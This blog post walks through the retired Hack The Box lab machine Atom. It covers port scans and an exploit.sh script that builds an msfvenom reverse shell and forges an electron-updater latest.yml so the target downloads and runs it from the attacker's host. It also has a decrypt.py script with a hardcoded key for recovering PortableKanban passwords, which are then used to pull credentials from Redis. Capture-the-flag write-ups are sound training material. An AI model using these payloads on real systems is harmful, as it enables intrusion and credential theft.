This post documents the complete walkthrough of Atom, a retired vulnerable VM created by MrR3boot, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Atom is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.237 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-04-18 09:08:46 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 443/tcp on 10.10.10.237
Discovered open port 5985/tcp on 10.10.10.237
Discovered open port 135/tcp on 10.10.10.237
Discovered open port 445/tcp on 10.10.10.237
Discovered open port 7680/tcp on 10.10.10.237
Discovered open port 6379/tcp on 10.10.10.237
Discovered open port 80/tcp on 10.10.10.237

Nothing unusual stood out for me. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p80,135,443,445,5985,6379,7680 -A --reason 10.10.10.237 -oN nmap.txt
...
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
443/tcp  open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open  redis        syn-ack ttl 127 Redis key-value store
7680/tcp open  pando-pub?   syn-ack ttl 127
...
Host script results:
|_clock-skew: mean: 2h20m00s, deviation: 4h02m29s, median: 0s
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-04-18T02:07:18-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-04-18T09:07:19
|_  start_date: N/A

Let’s start exploring the http service. This is what it looks like.

I’d better include atom.htb into /etc/hosts.

What is Heed?

Since 445/tcp is available, let’s see if we can get something out of SMB.

Looks like we have an interesting share, Software_Updates, with READ and WRITE permissions no less! Let’s see what’s in it.

Let’s turn recurse on and prompt off and download everything.

What do we have here?

Closer look at Heed

There’s only one download option available, and that’s for Windows. This is what’s inside the ZIP file.

Turns out to be an Electron app, characterized by the presence of the ASAR file in the resources directory.

Let’s unpack the app.asar file like so.

mkdir app && npx asar extract app.asar app/

Upon opening the app, it checks for updates.

The auto-updater is provided by electron-updater as seen in the node_modules directory.

The update URL is configured in app-update.yml.

Signature Validation Bypass < 4.2.2 Leading to RCE

We can see from package.json that the version of electron-updater in use is ^2.23.3, which was released 3 years ago!!

Here’s the blog post discussing this vulnerability. As long as there’s a single quote in the file name, it’ll throw the entire signature verification into a disarray, leading to RCE.

Putting two and two together, here’s what I think we need to do in order to gain a foothold. We need to “trick” QA into executing a reverse shell that has a single quote in the filename. We then serve the reverse shell in Python’s http.server module since QA will find this update and installs it. With that in mind, I wrote a simple shell script that will generate our reverse shell with msfvenom, produce a copy of latest.yml, set up the neccessary services, and uploads it one of the “client” folders.

exploit.sh
#!/bin/bash

RHOST=10.10.10.237
LHOST=10.10.14.10
LPORT=1234
FILE=$1

echo "[+] Generating reverse shell..."

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o $FILE

echo "[+] Done."

echo "[+] Opening nc listener at port ${LPORT}..."

xterm -e "nc -lnvp ${LPORT}" &

echo "[+] Done."

echo "[+] Generating latest.yml..."

cat - <<EOF > latest.yml
version: 1.0.1
path: http://${LHOST}/${FILE}
sha512: $(sha512sum "${FILE}" | cut -d' ' -f1 | xxd -p -r | base64 -w0)
releaseDate: '$(date --utc +%FT%T.%3NZ)'
EOF

echo "[+] Done."

echo "[+] Opening http.server..."

xterm -e "python3 -m http.server 80" &

echo "[+] Done."

echo "[+] Preparing to upload latest.yml..."
for i in $(seq 1 3); do
    mkdir -p updates/client${i}
    cp latest.yml updates/client${i}
done

smbclient -N //${HOST}/Software_Updates -c "lcd updates/; prompt off; recurse on; mput *; exit"

echo "[+] Done."

Foothold

Let’s give it a shot!

We have requests coming in, a good sign.

Over at our netcat listener…

As you might have guessed, the file user.txt is at jason’s desktop.

Privilege Escalation

During enumeration of jason’s account, I notice that PortableKanban is installed, which uses Redis as the database to store data I guess.

This sure looks interesting.

PortableKanban Encrypted Password Retrieval

What do we have here?

Based on EDB-ID 49409, I wrote the following script to decrypt the password.

decrypt.py
import json
import base64
from des import *
import sys

def decode(hash):
    hash = base64.b64decode(hash)
    key = DesKey(b'7ly6UznJ')
    return key.decrypt(hash,initial=b'XuVUm5fR', padding=True)


print decode(sys.argv[1])

Here we go.

Authenticated Enumeration of Redis

We can use redis-cli to enumerate Redis (tcp/6379) now that we have the password like so.

redis-cli -h 10.10.10.237 -a $(python decrypt.py Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb)
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> info
# Server
redis_version:3.0.504
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:a4f7a6e86f2d60b3
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:WinSock_IOCP
process_id:748
run_id:171426e745511347744abc4bc1c086d96ef7b023
tcp_port:6379
uptime_in_seconds:9302
uptime_in_days:0
hz:10
lru_clock:8291519
config_file:C:\Program Files\Redis\redis.windows-service.conf

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory
used_memory:694624
used_memory_human:678.34K
used_memory_rss:656848
used_memory_peak:714584
used_memory_peak_human:697.84K
used_memory_lua:36864
mem_fragmentation_ratio:0.95
mem_allocator:jemalloc-3.6.0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1618894953
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok

# Stats
total_connections_received:13
total_commands_processed:3
instantaneous_ops_per_sec:0
total_net_input_bytes:792
total_net_output_bytes:6019842
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.09
used_cpu_user:0.17
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=4,expires=0,avg_ttl=0

Give me the keys

Looks like we only have one database with four keys in it.

I wonder what’s in the last key?

Is that Administrator’s password? Only one way to find out.

Bingo!

:dancer: